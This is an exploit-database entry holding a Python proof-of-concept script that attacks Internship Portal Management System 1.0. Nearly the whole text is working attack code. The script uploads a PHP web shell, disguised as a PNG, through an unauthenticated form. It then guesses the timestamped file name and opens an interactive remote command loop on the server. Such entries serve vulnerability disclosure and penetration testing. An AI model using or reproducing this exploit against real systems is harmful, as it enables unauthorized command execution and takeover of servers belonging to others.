Exploit for Internship Portal Management System 1.0 Shell Upload

## https://sploitus.com/exploit?id=PACKETSTORM:162443
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)  
# Date: 2021-05-04  
# Exploit Author: argenestel  
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: Debian 10  
  
import requests  
import time  
  
#change the url to the site running the vulnerable system  
url="http://127.0.0.1:4000"  
#burp proxy  
proxies = {  
"http": "http://127.0.0.1:8080",  
}  
#payload  
payload='<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'  
  
#the upload point  
insert_url=url+"/inserty.php"  
  
def fill_details():  
global payload  
global shellend  
global shellstart  
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")  
#time start  
shellstart=int(time.time())  
#print(shellstart)  
files = {'file':('shell.php',payload,  
'image/png', {'Content-Disposition': 'form-data'}  
)  
}  
data = {  
"company_name":"some",  
"first_name":"some",  
"last_name":"some",  
"email":"some@some.com",  
"gender":"Male",  
"insert_button":"Apply",  
"terms":"on"  
}  
r = requests.post(insert_url, data=data, files=files)  
if r.status_code == 200:  
print("Exploited Intern System Successfully...")  
shellend = int(time.time())  
#print(shellend)  
shell()  
else:  
print("Exploit Failed")  
  
def shell():  
for shellname in range(shellstart, shellend+1):  
shellstr=str(shellname)  
shell_url=url+"/upload/"+shellstr+"_shell.php"  
r = requests.get(shell_url)  
if r.status_code == 200:  
shell_url=url+"/upload/"+shellstr+"_shell.php"  
break  
  
r = requests.get(shell_url)  
if r.status_code == 200:  
print("Shell Starting...")  
while True:  
cmd=input("cmd$ ")  
r = requests.get(shell_url+"?cmd="+cmd)  
print(r.text)  
else:  
print("File Name Error")  
  
  
fill_details()